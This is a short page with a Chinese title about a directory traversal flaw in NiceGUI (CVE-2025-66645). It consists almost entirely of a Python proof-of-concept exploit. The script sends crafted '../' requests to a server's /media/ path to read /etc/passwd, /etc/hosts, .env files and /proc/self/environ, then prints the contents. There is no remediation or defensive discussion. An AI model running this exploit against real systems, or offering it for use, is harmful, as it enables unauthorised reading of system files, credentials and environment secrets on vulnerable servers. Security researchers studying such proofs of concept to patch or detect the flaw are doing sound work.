CVE-2025-66645 NiceGUI目录遍历漏洞可读取任意文件

import requests # CVE-2025-66645 NiceGUI Path Traversal PoC # Target: NiceGUI <= 3.3.1 # Vulnerability: Directory traversal via App.add_media_files() TARGET_URL = "http://target:8080" # Read sensitive files using path traversal files_to_read = [ "/etc/passwd", "/etc/hosts", ".env", "/proc/self/environ" ] def exploit_path_traversal(): for file_path in files_to_read: # Construct path traversal URL # The traversal sequence ../ can be used multiple times traversal = "../" * 6 # Adjust based on mount point encoded_path = traversal + file_path.lstrip("/") # Try different path traversal techniques urls = [ f"{TARGET_URL}/media/{encoded_path}", f"{TARGET_URL}/media/{file_path}", f"{TARGET_URL}/../media/../../{file_path}" ] for url in urls: try: response = requests.get(url, timeout=5) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success: {url}") print(response.text[:500]) print("-" * 50) except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") if __name__ == "__main__": exploit_path_traversal()